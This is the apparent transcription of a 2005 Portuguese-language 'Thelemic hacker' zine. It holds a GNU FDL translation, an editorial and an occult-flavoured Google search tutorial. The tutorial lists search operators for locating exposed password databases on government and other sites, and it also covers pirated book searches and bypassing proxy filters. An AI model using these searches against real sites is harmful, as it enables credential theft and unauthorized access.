equinoxgreen

Transcrição

equinoxgreen
EQUINOX GREEN
Volume II
1
Esta publicação está sobre a FDL (Free Documentation License) podendo ser copiada, distribuída, desde que obedeça a licença abaixo apresentada.
Esta é uma tradução não oficial da Licença de Documentação Livre GNU em Português Brasileiro. Ela não é publicada pela Free Software
Foundation, e não se aplica legalmente a distribuição de textos que usem a GFDL - apenas o texto original em Inglês da GNU FDL faz isso.
Entretanto, nós esperamos que esta tradução ajude falantes de português a entenderem melhor a GFDL.
Licença de Documentação Livre GNU
Versão 1.1, Março de 2000
Copyright (C) 2000 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
É permitido a qualquer um copiar e distribuir cópias exatas
deste documento de licença, mas não é permitido alterá-lo.
0. INTRODUÇÃO
O propósito desta Licença é deixar um manual, livro-texto ou outro documento escrito ``livre'' no sentido de liberdade: assegurar a qualquer um a
efetiva liberdade de copiar ou redistribuí-lo, com ou sem modificações, comercialmente ou não. Secundariamente, esta Licença mantém para o autor
e editor uma forma de ter crédito por seu trabalho, sem ser considerado responsável pelas modificações feitas por terceiros.
Esta licença é um tipo de ``copyleft'' (``direitos revertidos''), o que significa que derivações do documento precisam ser livres no mesmo sentido. Ela
complementa a GNU Licença Pública Geral (GNU GPL), que é um copyleft para software livre.
Nós fizemos esta Licença para que seja usada em manuais de software livre, porque software livre precisa de documentação livre: um programa livre
deve ser acompanhado de manuais que forneçam as mesmas liberdades que o software possui. Mas esta Licença não está restrita a manuais de
software; ela pode ser usada para qualquer trabalho em texto, independentemente do assunto ou se ele é publicado como um livro impresso. Nós
recomendamos esta Licença principalmente para trabalhos cujo propósito seja de intrução ou referência.
1. APLICABILIDADE E DEFINIÇÕES
Esta Licença se aplica a qualquer manual ou outro texto que contenha uma nota colocada pelo detentor dos direitos autorias dizendo que ele pode ser
distribuído sob os termos desta Licença. O ``Documento'', abaixo, se refere a qualquer tal manual ou texto. Qualquer pessoa do público é um
licensiado e é referida como ``você''.
Uma ``Versão Modificada'' do Documento se refere a qualquer trabalho contendo o documento ou uma parte dele, quer copiada exatamente, quer
com modificações e/ou traduzida em outra lingua.
Uma ``Seção Secundária'' é um apêndice ou uma seção inicial do Documento que trata exclusivamente da relação dos editores ou dos autores do
Documento com o assunto geral do Documento (ou assuntos relacionados) e não contém nada que poderia ser incluido diretamente nesse assunto
geral. (Por exemplo, se o Documento é em parte um livro texto de matemática, a Seção Secundária pode não explicar nada de matemática). Essa
relação poderia ser uma questão de ligação histórica com o assunto, ou matérias relacionadas, ou de posições legais, comerciais, filosóficas, éticas ou
políticas relacionadas ao mesmo.
As ``Seções Invariantes'' são certas Seções Secundárias cujos títulos são designados, como sendo de Seções Invariantes, na nota que diz que o
Documento é publicado sob esta Licença.
Os ``Textos de Capa'' são certos trechos curtos de texto que são listados, como Textos de Capa Frontal ou Textos da Quarta Capa, na nota que diz
que o texto é publicado sob esta Licença.
Uma cópia ``Transparente'' do Documento significa uma cópia que pode ser lida automaticamente, representada num formato cuja especificação
esteja disponível ao público geral, cujos conteúdos possam ser vistos e editados diretamente e sem mecanismos especiais com editores de texto
genéricos ou (para imagens compostas de pixels) programas de pintura genéricos ou (para desenhos) por algum editor de desenhos grandemente
difundido, e que seja passível de servir como entrada a formatadores de texto ou para tradução automática para uma variedade de formatos que
sirvam de entrada para formartadores de texto. Uma cópia feita em um formato de arquivo outrossim Transparente cuja constituição tenha sido
projetada para atrapalhar ou desencorajar modificações subsequentes pelos leitores não é Transparente. Uma cópia que não é ``Transparente'' é
chamada de ``Opaca''.
Exemplos de formatos que podem ser usados para cópias Transparentes incluem ASCII simples sem marcações, formato de entrada do Texinfo,
formato de entrada do LaTeX, SGML ou XML usando uma DTD disponibilizada publicamente, e HTML simples, compatível com os padrões, e
projetado para ser modificado por pessoas. Formatos opacos incluem PostScript, PDF, formatos proprietários que podem ser lidos e editados apenas
com processadores de texto proprietários, SGML ou XML para os quais a DTD e/ou ferramentas de processamento e edição não estejam disponíveis
para o público, e HTML gerado automaticamente por alguns editores de texto com finalidade apenas de saída.
A ``Página do Título'' significa, para um livro impresso, a página do título propriamente dita, mais quaisquer páginas subseqüentes quantas forem
necessárias para conter, de forma legível, o material que esta Licença requer que apareça na página do título. Para trabalhos que não tenham uma tal
página do título, ``Página do Título'' significa o texto próximo da aparição mais proeminente do título do trabalho, precedendo o início do corpo do
texto.
2. FAZENDO CÓPIAS EXATAS
Você pode copiar e distribuir o Documento em qualquer meio, de forma comercial ou não comercial, desde que esta Licença, as notas de copyright, e
a nota de licença dizendo que esta Licença se aplica ao documento estejam reproduzidas em todas as cópias, e que você não acrescente nenhuma
outra condição quaisquer que sejam às desta Licença.
Você não pode usar medidas técnicas para obstruir ou controlar a leitura ou confecção de cópias subsequentes das cópias que você fizer ou distribuir.
2
Entretanto, você pode aceitar compensação em troca de cópias. Se você distribuir uma quantidade grande o suficiente de cópias, você também
precisa respeitar as condições da seção 3. Você também pode emprestar cópias, sob as mesmas condições colocadas acima, e você também pode
exibir coópias publicamente.
3. FAZENDO CÓPIAS EM QUANTIDADE
Se você públicar cópias do Documento em número maior que 100, e a nota de licença do Documento obrigar Textos de Capa, você precisa incluir as
cópias em capas que tragam, clara e legivelmente, todos esses Textos de Capa: Textos de Capa da Frente na capa da frente, e Textos da Quarta Capa
na capa de trás. Ambas as capas também precisam identificar clara e legivelmente você como o editor dessas cópias. A capa da frente precisa
apresentar o título completo com todas as palavras do título igualmente proeminentes e visíveis. Você pode adicionar outros materiais às capas. Fazer
cópias com modificações limitadas às capas, tanto quanto estas preservem o título do documento e satisfaçam essas condições, pode tratado como
cópia exata em outros aspectos.
Se os textos requeridos em qualquer das capas for muito volumoso para caber de forma legível, você deve colocar os primeiros (tantos quantos
couberem de forma razoável) na capa verdadeira, e continuar os outros nas páginas adjacentes.
Se você publicar ou distribuir cópias Opacas do Documento em número maior que 100, você precisa ou incluir uma cópia Transparente que possa
ser lida automaticamente com cada cópia Opaca, ou informar em ou com cada cópia Opaca a localização de uma cópia Transparente completa do
Documento acessível publicamente em uma rede de computadores, à qual o público usuário de redes tenha acesso a download gratuito e anônimo
utilizando padrões públicos de protocolos de rede. Se você utilizar o segundo método, você precisa tomar cuidados razoavelmente prudentes, quando
iniciar a distribuição de cópias Opacas em quantidade, para assegurar que esta cópia Transparente vai permanecer acessível desta forma na
localização especificada por pelo menos um ano depois da última vez em que você distribuir uma cópia Opaca (diretamente ou através de seus
agentes ou distribuidores) daquela edição para o público.
É pedido, mas não é obrigatório, que você contate os autores do Documento bem antes de redistribuir qualquer grande número de cópias, para lhes
dar uma oportunidade de prover você com uma versão atualizada do Documento.
4. MODIFICAÇÕES
Você pode copiar e distribuir uma Versão Modificada do Documento sob as condições das seções 2 e 3 acima, desde que você publique a Versão
Modificada estritamente sob esta Licença, com a Versão Modificada tomando o papel do Documento, de forma a licenciar a distribuição e
modificação da Versão Modificada para quem quer que possua uma cópia da mesma. Além disso, você precisa fazer o seguinte na versão
modificada:
* A. Usar na Página de Título (e nas capas, se alguma) um título distinto daquele do Documento, e daqueles de versões anteriores (que deveriam,
se houvesse algum, estarem listados na seção Histórico do Documento). Você pode usar o mesmo título de uma versão anterior se o editor original
daquela versão lhe der permissão.
* B. Listar na Página de Título, como autores, uma ou mais das pessoas ou entidades responsáveis pela autoria das modificações na Versão
Modificada, conjuntamente com pelo menos cinco dos autores principais do Documento (todos os seus autores principais, se ele tiver menos que
cinco).
* C. Colocar na Página de Título o nome do editor da Versão Modificada, como o editor.
* D. Preservar todas as notas de copyright do Documento.
* E. Adicionar uma nota de copyright apropriada para suas próprias modificações adjacente às outras notas de copyright.
* F. Incluir, imediatamente depois das notas de copyright, uma nota de licença dando ao público o direito de usar a Versão Modificada sob os
termos desta Licença, na forma mostrada no Adendo abaixo.
* G. Preservar nessa nota de licença as listas completas das Seções Invariantes e os Textos de Capa requeridos dados na nota de licença do
Documento.
* H. Incluir uma cópia inalterada desta Licença.
* I. Preservar a seção entitulada ``Histórico'', e seu título, e adicionar à mesma um item dizendo pelo menos o título, ano, novos autores e editor da
Versão Modificada como dados na Página de Título. Se não houver uma sessão denominada ``Histórico''; no Documento, criar uma dizendo o título,
ano, autores, e editor do Documento como dados em sua Página de Título, então adicionar um item descrevendo a Versão Modificada, tal como
descrito na sentença anterior.
* J. Preservar o endereço de rede, se algum, dado no Documento para acesso público a uma cópia Transparente do Documento, e da mesma forma,
as localizações de rede dadas no Documento para as versões anteriores em que ele foi baseado. Elas podem ser colocadas na seção ``Histórico''. Você
pode omitir uma localização na rede para um trabalho que tenha sido publicado pelo menos quatro anos antes do Documento, ou se o editor original
da versão a que ela ser refira der sua permissão.
* K. Em qualquer seção entitulada ``Agradecimentos''; ou ``Dedicatórias'';, preservar o título da seçãom e preservar a seção em toda substância e
tim de cada um dos agradecimentos de contribuidores e/ou dedicatórias dados.
* L. Preservar todas as Seções Invariantes do Documento, inalteradas em seus textos ou em seus títulos. Números de seção ou equivalentes não são
considerados parte dos títulos da seção.
* M. Apagar qualquer seção entitulada ``Endossos'';. Tal sessão não pode ser incluída na Versão Modificada.
* N. Não re-entitular qualquer seção existente com o título ``Endossos''; ou com qualquer outro título dado a uma Seção Invariante.
Se a Versão Modificada incluir novas seções iniciais ou apêndices que se qualifiquem como Seções Secundárias e não contenham nenhum material
copiado do Documento, você pode optar por designar alguma ou todas aquelas seções como invariantes. Para fazer isso, adicione seus títulos à lista
de Seções Invariantes na nota de licença da Versão Modificada. Esses títulos precisam ser diferentes de qualquer outro título de seção.
Você pode adicionar uma seção entitulada ``Endossos'';, desde que ela não contenha qualquer coisa além de endossos da sua Versão Modificada por
várias pessoas ou entidades - por exemplo, declarações de revisores ou de que o texto foi aprovado por uma organização como a definição oficial de
um padrão.
Você pode adicionar uma passagem de até cinco palavras como um Texto de Capa da Frente , e uma passagem de até 25 palavras como um Texto de
Quarta Capa, ao final da lista de Textos de Capa na Versão Modificada. Somente uma passagem de Texto da Capa da Frente e uma de Texto da
Quarta Capa podem ser adicionados por (ou por acordos feitos por) qualquer entidade. Se o Documento já incluir um texto de capa para a mesma
capa, adicionado previamente por você ou por acordo feito com alguma entidade para a qual você esteja agindo, você não pode adicionar um outro;
mas você pode trocar o antigo, com permissão explícita do editor anterior que adicionou a passagem antiga.
3
O(s) autor(es) e editor(es) do Documento não dão permissão por esta Licença para que seus nomes sejam usados para publicidade ou para assegurar
ou implicar endossamento de qualquer Versão Modificada.
5. COMBINANDO DOCUMENTOS
Você pode combinar o Documento com outros documentos publicados sob esta Licença, sob os termos definidos na seção 4 acima para versões
modificadas, desde que você inclua na combinação todas as Seções Invariantes de todos os documentos originais, sem modificações, e liste todas
elas como Seções Invariantes de seu trabalho combinado em sua nota de licença.
O trabalho combinado precisa conter apenas uma cópia desta Licença, e Seções Invariantes Idênticas com múltiplas ocorrências podem ser
substituídas por apenas uma cópia.Se houver múltiplas Seções Invariantes com o mesmo nome mas com conteúdos distintos, faça o título de cada
seção único adicionando ao final do mesmo, em parênteses, o nome do autor ou editor origianl daquela seção, se for conhecido, ou um número que
seja único. Faça o mesmo ajuste nos títulos de seção na lista de Seções Invariantes nota de licença do trabalho combinado.
Na combinação, você precisa combinar quaisquer seções intituladas ``Histórico''; dos diversos documentos originais, formando uma seção entitulada
``Histórico''; da mesma forma combine quaisquer seções entituladas ``Agradecimentos'', ou ``Dedicatórias''. Você precisa apagar todas as seções
intituladas como ``Endosso''.
6. COLETÂNEAS DE DOCUMENTOS
Você pode fazer uma coletânea consitindo do Documento e outros documentos publicados sob esta Licença, e substituir as cópias individuais desta
Licença nos vários documentos com uma única cópia incluída na coletânea, desde que você siga as regras desta Licença para cópia exata de cada um
dos Documentos em todos os outros aspectos.
Você pode extrair um único documento de tal coletânea, e distribuí-lo individualmente sob esta Licença, desde que você insira uma cópia desta
Licença no documento extraído, e siga esta Licença em todos os outros aspectos relacionados à cópia exata daquele documento.
7. AGREGAÇÃO COM TRABALHOS INDEPENDENTES
Uma compilação do Documento ou derivados dele com outros trabalhos ou documentos separados e independentes, em um volume ou mídia de
distribuição, não conta como uma Versão Modificada do Documento, desde que não seja reclamado nenhum copyright de compilação seja
reclamado pela compilação. Tal compilação é chamada um ``agregado'', e esta Licença não se aplica aos outros trabalhos auto-contidos compilados
junto com o Documento, só por conta de terem sido assim compilados, e eles não são trabalhos derivados do Documento.
Se o requerido para o Texto de Capa na seção 3 for aplicável a essas cópias do Documento, então, se o Documento constituir menos de um quarto de
todo o agregado, os Textos de Capa do Documento podem ser colocados em capas adjacentes ao Documento dentro do agregado. Senão eles
precisam aparecer nas capas de todo o agregado.
8. TRADUÇÃO
A tradução é considerada como um tipo de modificação, então você pode distribuir traduções do Documento sob os termos da seção 4. A
substituição de Seções Invariantes por traduções requer uma permissão especial dos detentores do copyright das mesmas, mas você pode incluir
traduções de algumas ou de todas as Seções Invariantes em adição as versões orginais dessas Seções Invariantes. Você pode incluir uma tradução
desta Licença desde que você também inclua a versão original em Inglês desta Licença. No caso de discordância entre a tradução e a versão original
em Inglês desta Licença, a versão original em Inglês prevalecerá.
9. TÉRMINO
Você não pode copiar, modificar, sublicenciar, ou distribuir o Documento exceto como expressamente especificado sob esta Licença. Qualquer outra
tentativa de copiar, modificar, sublicenciar, ou distribuir o Documento é nula, e resultará automaticamente no término de seus direitos sob esta
Licença. Entretanto, terceiros que tenham recebido cópias, ou direitos, de você sob esta Licença não terão suas licenças terminadas tanto quanto
esses terceiros permaneçam em total acordo com esta Licença.
10. REVISÕES FUTURAS DESTA LICENÇA
A Free Software Foundation pode publicar novas versões revisadas da Licença de Documentação Livre GNU de tempos em tempos. Tais novas
versões serão similares em espírito à versão presente, mas podem diferir em detalhes ao abordarem novos porblemas e preocupações. Veja
http://www.gnu.org/copyleft/.
A cada versão da Licença é dado um número de versão distinto. Se o Documento especificar que uma versão particular desta Licença ``ou qualquer
versão posterior'' se aplica ao mesmo, você tem a opção de seguir os termos e condições daquela versão específica, ou de qualquer versão posterior
que tenha sido publicada (não como rascunho) pela Free Software Foundation. Se o Documento não especificar um número de Versão desta Licença,
você pode escolher qualquer versão já publicada (não como rascunho) pela Free Software Foundation.
ADENDO: Como usar esta Licença para seus documentos
Para usar esta Licença num documento que você escreveu, inclua uma cópia desta Licença no documento e ponha as seguintes notas de copyright e
licenças logo apos a página de título:
Copyright (c) ANO SEU NOME.
É dada permissão para copiar, distribuir e/ou modificar este documento
sob os termos da Licença de Documentação Livre GNU, Versão 1.1 ou qualquer
versão posterior publicada pela Free Software Foundation;
com as Seções Invariantes sendo LISTE SEUS TÍTULOS, com os Textos da
Capa da Frente sendo LISTE, e com os Textos da Quarta-Capa sendo LISTE.
Uma cópia da licença em está inclusa na seção entitulada
4
``Licença de Documentação Livre GNU''.
Se você não tiver nenhuma Seção Invariante, escreva ``sem Seções Invariantes'' ao invés de dizer quais são invariantes. Se você não tiver Textos de
Capa da Frente, escreva ``sem Textos de Capa da Frente'' ao invés de ``com os Textos da Capa da Frente sendo LISTE''; o mesmo para os Textos da
Quarta Capa.
Se o seu documento contiver exemplos não triviais de código de programas, nós recomendamos a publicação desses exemplos em paralelo sob a sua
escolha de licença de software livre, tal como a GNU General Public License, para permitir o seu uso em software livre.
5
O Editor gostaria muito
de futuras contribuições
de todos os fratri, na
forma de artigos, tutoriais
programas & textos.
Os textos aceitos serão
devidamente notificados
a seus autores.
Artigos devem ser enviados
para:
[email protected]
6
EQUINOX GREEN
O ORGÃO OFICIAL DO MOVIMENTO HACKER THELEMICO
A REVISÃO DO ILUMINISMO CIENTÍFICO
AN. CI ERA DE AQUARIUS-LEO
VOL. I N.II
⊙
em
ABRIL DE MMV
FRATER Q.V.I.F. 196
“O MÉTODO DA CIÊNCIA – O OBJETIVO DA RELIGIÃO”
7
BRASIL
CONTEÚDO
Editorial
página
9
LIBER 003 – Por Frater Albertus Rabelais
10
Messias – Por Leandro A. Thomas
28
Hacking 93 ! – Por Frater Arjuna
33
Introdução aos Sistemas Operacionais - Por Vo
35
SCMORPHISM - Por Rodrigo Rubira Branco
63
Livro da Lei – Por Mestre Therion
70
8
EDITORIAL
“Faze o que tu queres, há de tudo ser da lei”
Depois do Equinox Green I, tivemos uma ampla e completa recepctividade da comunidade em
geral. Receptividade esta que nos animou a continuar o nosso trabalho de divulgaçao e que agora se
faz presente neste novo volume de nossa publicação.
Passamos por um processo de desconstrução, seja de conceitos e de forma de pensar, já que muitas
pessoas já estão vendo que o hacking, não é como estamos vendo de maneira errônea pela imprensa
e sim uma profunda mudança no pensar e na forma de agir.
Não é uma mera ostentação ou alimentação do ego, mas uma iluminação que se faz podendo assim
enxergar a capacidade de realização de nós mesmos em conseguir alcançar objetivos muito maiores
que estes.
Fico vendo as pessoas começando a discutir diversos aspectos alé do computador, aspectos de suas
vidas que poderiam ser melhoradas, “pensando” na forma do hacking. Quando eu digo pensar, é
tentar adotar uma maneira diferente de ver as coisas, não só d eum único angulo, mas de uma
perspectiva totalmente nova. A verdade que hoje temos pode ser uma mentira amanhã, mas sempre
ficará a sabedoria acumulada com nossos atos.
Vejamos então esta nova e modesta obra, com a colaboração de diversas pessoas, que nos ajudam a
passar o conhecimento de seus trabalhos. A eles meu profundo e sincero agradecimento, por doar
estas gotas de sabedoria para nossas mentes vorazes. A obra em si ainda é imperfeita, pois nossa
natureza é imperfeite, apesar de nossa parcela divina.
Os erros que existam, será “mea culpa”. Peço a todos desculpas, pois o trabalho é realizado com a
mais profunda boa vontade e sacrifício. Agradeceria muito que enviassem suas críticas e
comentários para nossa publicação e que não se inibam em mandar seus trabalhos para que
possamos publicá-los.
O convite fica aberto a todos que quiserem ajudar em nossa caminhada. Espero que todos tenham
uma ótima leitura e que estas poucas páginas possam trazer um pouco mais de luz do saber as trevas
da ignorância que insistem em nos rodear.
93,93/93 !
Frater Albertus Rabelais
[email protected]
9
Liber 003
Por Frater Albertus Rabelais
[email protected]
10
Preambulum...
“Todo e qualquer homem pode igualar-se aos sábios e aos
heróis cuja memória todos reverenciam.
Não é o poder que falta, é a vontade”
Mo-Tse
Descobrir a nossa verdadeira vontade é a pergunta da qual eu tenho me feito há algum tempo.
Muitas pessoas confundem o desejo com a vontade e acabam descobrindo que muitas das suas
crenças foram formas de expressão de desejos. Descobrir ou constatar esta afirmarção é um dos
grandes desafios do estudante no que diz respeito a conhecer a sí próprio e as suas limitações
iniciais.
Um dos maiores inimigos da verdadeira vontade é o ego. Como Maia, nos enche das piores ilusões
possíveis e nos transforma em escravos dos desejos, obstruíndo assim a nossa caminhada rumo ao
conhecimento. Muitos já caíram nas armadilhas do ego, alimentados por diversos indivíduos que
projetavam suas necessidades nestes irmãos. O ego é capaz de levar um indivíduo ao ápice da
ilusão, tirando em muitos casos do caminho.
Quantas vezes nosso ego foi alimentado com elogios e acabou levando-nos a cometer atos
insensatos e desmedidos ? Quantas vezes o desejo instigou o ego e a vítima fomos nós mesmos ?
Pense nisto e reflita sobre estas palavras.
Contudo não precisamos eliminar o ego, e sim subjugá-lo, ou melhor desprender-se de muitas
coisas, afim de podermos encontrar sob estas camadas a nossa verdadeira vontade. É difícil
conseguir isto, pois estamos sendo diariamente bombardeados por uma série de tentativas de
insuflar cada vez mais o nosso ego.
Olho a minha volta e vejo tantos que são escravos dos desejos, são limitados por algemas da
sociedade, não olhando que dentro de si existem muito mais coisas a serem descobertas. Thelema
vem do grego e significa “vontade”.
Esta “vontade” é o principal objetivo que tentamos alcançar. No hacking a vontade é sem sombra de
11
dúvida a necessidade de aprender, conseguir alcançar o conhecimento. Mas muitos entram no
hacking movidos pelo desejo, alimentados por seus egos e acabam esquecendo a essência de tudo.
Utilizam do conhecimento de terceiros para alimentarem suas ilusões. Estes contudo, acabam
depois de um tempo se desligando e esquecem que um dia a chama foi despertada dentro de si.
Onde estão estes hackers ? Eles estão ainda atuando ? Claro que não, pois movidos pelo desejo
ninguém consegue chegar a grande obra mística. Mas a pergunta ainda fica no ar : como descobrir a
sua verdadeira vontade ?
Olhe para dentro de si e veja que coisas estão te movimentando hoje, quais são as suas expectativas
com que está começando os seus estudos. O que te levou a ler meus libri ? Foi o desejo de hackear
páginas ? Invadir servidores ? Isto está movendo a sua iniciativa ?
Se você está pensando assim, pobre tolo... Vais ser escravo de seus desejos e no fim abandonará o
caminho se tornando mais um como tantos outros que se entregaram, esquecendo que um dia
despertaram a vontade de alimentar sua fome de conhecimento.
O Ternário do Hacking
Poderíamos definir que o hacking é um ternário, apresentado abaixo de acordo com o ternário
abaixo :
homem – código – sistema
Onde :
Homem – elemento positivo
Código – elemento negativo
Sistema – elemento neutro
A lei geral é a lei do Três, cujo os princípios são o ativo (positivo), passivo (negativo) e neutro. De
acordo com Papus duas coisas (fatos) análogas a uma mesma terceira (lei) são análogas entre si e
pode-se determinar a relação existente entre o fato e qualquer outro dos fenômenos. Este método
analisa e esclarece as histórias simbólicas.
Montando o quadro analógico de acordo com Papus, poderíamos ter o seguinte
1a. Coluna
Suplementar
+
Coluna Positiva Coluna Negativa
∞
Coluna Neutra
2a. Coluna
Suplementar
Vulnerabilidade
Homem
Código
Sistema
O Exploit
Os Elementos
Fogo
Água
Ar
Terra (Matéria)
Os Três Astros
Sol
Lua
Mercúrio
Moral
A Família
Pai
Mãe
Filho
O Mundo
O homem (hacker) mais o código (conhecimento de programação) podem dar origem ao sistema
(programa, vulnerabilidade, etc). Este ternário nos faz procurar dentro deste sistema o entendimento
de nossa vontade, ou seja de criar a criança andrógina dos alquimistas, simbolizada pelo mercúrio e
no hacking simbolizada pelo sistema.
Nossa obra começará aqui mostrando nossa primeira lição de nossa caminhada.
12
Seção 001h
Prima Materia
“O Iniciado pode dirigir-se a todos expressando suas idéias por meio de histórias simbólicas
correspondentes aos fatos e ao sentido positivo.
Muitos compreendem ainda, se não o sentido, ao menos as palavras que compõem os quadros
analógicos correspondentes
as leis e ao sentido comparativo.
A compreensão total da derradeira língua que o iniciado emprega
é reservada somente aos adeptos.
Munidos dos elementos que possuímos, podemos entretanto abordar a explicação parcial deste
método sintético, a derradeira e a mais
elevada das ciências ocultas.”
Papus – Tratado de Ciências Ocultas
Uma das principais formas de investigação em busca de servidores e serviços vulneráveis na web, é
a utilização de scanners, ferramentas cuja a função principal é verificar se portas de serviço estão
abertas, ou a versão dos sofwtares servidores estão sendo executadas. Esta prática é realizada por
ferramentas como o nmap (http://www.insecure.org/nmap) ou o Nessus (http://www.nessus.org),
softwares mais que conhecidos e que possuem ampla literatura em português para o estudante.
Sem sombra de dúvida que estes programas fazem parte do arsenal do especialista, que tem como
objetivo sempre estar com a possibilidade de examinar os sistemas alvo.
Contudo em muitos casos a procura pode se tornar complicada, já que muitos não podem ter um
micro a mão (um notebook) ou então estar em uma situação da qual seu sistema não possa ser
acessado. Neste momento o que o estudante pode fazer ?
13
A resposta está sempre a nossa frente, ou melhor disponível para que possamos mesmo de um
cybercafé, descobrirmos se um sistema pode ser invadido ou mesmo possível de ser testado para
que possamos descobrir uma vulnerabilidade.
Nos dias de hoje as empresas disponibilizam cada vez mais e mais sistemas na web, com
informações preciosas como: senhas, documentos, planilhas, banco de dados,etc. O estudante
poderá se perguntar como acessar estes tesouros sem uma chave específica, ou melhor uma
ferramenta que permita levantar estas informações.
A própria web nos fornece estas ferramentas, ou melhor utilizando a nossa capacidade, com um
pouco de criatividade e espiríto de exploração é possível levantar muitas das preciosidades acima
citadas, utilizando apenas uma ferramenta que para muitos mal explorada : o Google.
O Egrégora Digital Google
O Google é um mecanismo de procura composto por uma série de scripts capazes de realizar buscas
na web por diversas informações. A contrário do que se pensa o Google não é a solução para todos
os problemas, mas pode nos fornecer muitas respostas as nossas perguntas. O Google possui uma
série de restrições que gostaríamos de apresentar antes de você estudante, pensar que o mesmo é a
solução para os seus problemas.
–
–
–
O Google indexa um retrato de tudo que possa estar online, de uma forma bruta, e que precisa
ser garimpada. Ou seja as informações em muitos casos são apresentadas de forma “bruta”. Este
retrato é estático e pode mudar a qualquer momento;
As informações para o Google, até que prove-se o contrário, são verdadeiras, ou seja o sistema
pode ser iludido por falsos indexes, ou informações colocadas de maneira confusas, afim de
iludir os mecanismos de procura;
O Google ainda pode filtrar conteúdo ofensivo/restrito, contudo podemos levantar este conteúdo
em busca de informações restritas.
O mecanismo do Google permite procuras como :
–
–
–
–
Ítens de página : títulos, parágrafos especiais, palavras, etc.
Tipos de página : dos tipos edu, gov, org, etc.
Tipos de arquivos : pdf, txt, doc, xls, mdb, tudo que você possa imaginar
Tipos especiais de informação : por tópicos, datas de criação, etc.
Estas informações são pesquisadas através das páginas de procura do Google divida em
–
–
–
–
Web – A procura é feita procura por URL's;
Imagens – A procura é feita por figuras, fotos e desenhos;
Grupos – O conteúdo da Internet organizado por grupos de discussão e interesses
Diretórios - O conteúdo da Internet organizado por assunto em categorias.
No Google americano ainda é possível procurar por telefones e endereços.
Para entrar no Google entre no seu navegador e digite http://www.google.com.br
A página do Google surgirá ;
14
Para executarmos uma procura basta digitarmos na entrada do formulário a procura. Por exemplo
digite Liber 000, e pressione o botão Pesquisa Google, o mecanismo irá efetuar uma procura e
exibirá a resposta sob forma de links conforme abaixo :
O resultado vem sobre a forma de links, onde é só clicar e chegar ao destino. Muitos perguntam
sobre o botão “Estou com Sorte”, que na realidade manda o resultado da procura diretamente para o
site onde existe a maior incidência sobre o assunto, em muitos casos o primeiro da lista de respostas
do Google. Em muitos casos é uma maneira rápida de chegar a um resultado. Vale lembrar que
estamos ainda iniciando a nossa grande obra, onde começamos o processo de transformação
alquímica de nosso “lapis philosophorum”.
15
Dica Profana
As vezes proxies de redes bloqueiam conteúdos de sites (hacking, sexo,
etc.). Que tal utilizar o Google para bypassar isto. Entre no google e digite
hacking por exemplo e quando exibir os resultados clique em cima da
opção “Traduzir Esta Página”. O Google exibe o conteúdo da página,
bypassando o filtro do proxy. Alguns irmãos profanos utilizam esta técnica
para ver páginas estrangeiras pornográficas. Eu reprovo isto.
O Google ainda possui o recursa da chamada procura avançada, onde várias pesquisas sob a forma
booleana podem ser feitas. Por exemplo abaixo, quero imagens de demônios medievais do tipo jpeg,
em preto e branco. Clique em busca avançada de imagens e digite o seguinte :
Aqui é que começamos a explorar o Google em seu potencial. Mande executar a pesquisa e veja o
que apareceu no campo de procura após o resultado :
medieval demons filetype:jpg
Esta sintaxe é uma das grandes chaves de entendimento para utilizarmos o mecanismo de procura
para as nossas pesquisas a sites e servidores vulneráveis. Nosso próximo discursos versará sobre o
assunto.
16
Seção 002h
A Operação Magicka...
A natureza da operação magicka, está na essência da realização da obra. Quando o estudante
consegue realizar em toda a sua extensão a grande obra, temos o sucesso e a satisfação. Iremos
agora começar a utilizar os recursos que o Google nos fornece para realizarmos uma série de
operações de consulta e localização de informações. Iremos mostrar várias operações mágicas com
o egregóra do Google.
Primeira Operação – Obtendo Livros
Inicialmente vamos começar ajudando ao estudante conseguir livros na web em diversos formatos.
No Liber 000 eu sugeri o livro profano do Internetworking With TCP/IP de Richard Stevens.
Que tal obter este livro ? Podemos conseguir isto utilizando a cláusula filetype:, onde podemos
selecionar numa pesquisa o tipo de arquivo. Exemplo :
richard stevens filetype:chm
Onde eu estou procurando por qualquer referência a Richard Stevens que é o autor, com arquivos
chm, que são do tipo help do Windows e são muito utlizados para troca de livros. Poderíamos
17
procurar assim também :
richard stevens filetype:pdf
richard stevens filetype:doc
richard stevens filetype:txt
E que tal obter livros da O'reilly ? Digite :
oreilly filetype:chm
E veja a surpresa que aparecerá...
Segunda Operação – Obtendo Arquivos de Senhas
Ainda podemos descobrir alguns arquivos de senhas utilizados em alguns serviços web. Vamos
observar as seguintes sintaxes abaixo :
logins filetype:mdb
passwords filetype:mdb
senhas filetype:mdb
users filetype:mdb
usuarios filetype:mdb
members filetype:mdb
Muitos sites ainda utilizam o access da Microsoft, e é possível conseguir arquivos de senhas de
vários sites. Alguns destes arquivos podem estar com senha, mas existem dezenas de quebradores
de senha de access na web.
Vejamos outras possibilidades por exemplo :
logins filetype:txt
passwords filetype:txt
Existem diversas possibilidades, basta o estudante pesquisar a respeito e ser criativo em suas
procuras.
18
Firma! Firma! Agüenta em tua raptura; não caias em desmaio dos beijos excelentes!
Endurece! conserva-te a prumo! Levanta tua cabeça! não respires tão fundo - morre!
Ah! Ah! Que sinto Eu? Está a palavra exausta?
Existe auxílio & esperança em outros encantamentos. Sabedoria diz: sê forte! Então tu podes
suportar mais alegria. Não sejas animal; refina tua raptura! Se tu bebes, bebe pelas oito e noventa
regras de arte: se tu amas, excede em delicadeza; e se tu fazes o que quer que seja de alegre, que
haja sutileza ali contida!
Mas excede! excede!
Liber Al vel Legis, Cap.II, 67 - 71
" Faze o que tu queres, há de ser tudo da Lei."
Terceira Operação – Aprimorando a Pesquisa
Nesta operação utilizaremos a cláusla site: que permite uma procura em sites específicos. Por
exemplo senhas site:.gov.br, ou seja procuraremos em sites gov.br a palavra senhas, mas o mais
interessante utilizando o exemplo anterior e a junção das operações. Exemplo :
senhas filetype:mdb site:.gov.br
users filetype:mdb site:.org.br
Esta interessante combinação permite especificar e “fechar” num ponto específico a nossa procura.
O estudante poderá fazer vários tipos de combinação com a opção “site:”.
Quarta Operação – Títulos
Nesta operação veremos uma cláusula muito interessante a intitle: que permite restringir procura de
strings em títulos de páginas. Vamos ver a sintaxe :
intitle:index.of administrators.pwd
intitle:ADSL Configuration page
intitle:ADSL Configuration page
Existe ainda uma variação, a allintitle:, que podemos utilizar para outros fins, por exemplo achar
extensões do frontpage :
allintitle: vti_cnf
Combinando por exemplo com a opção :site
19
allintitle: vti_cnf site:.org
Ou ainda :
allintitle: login password
Estamos limitados apenas por nossa imaginação.
Dica Profana
As mensagens de erro em páginas podem ser extremamente reveladoras.
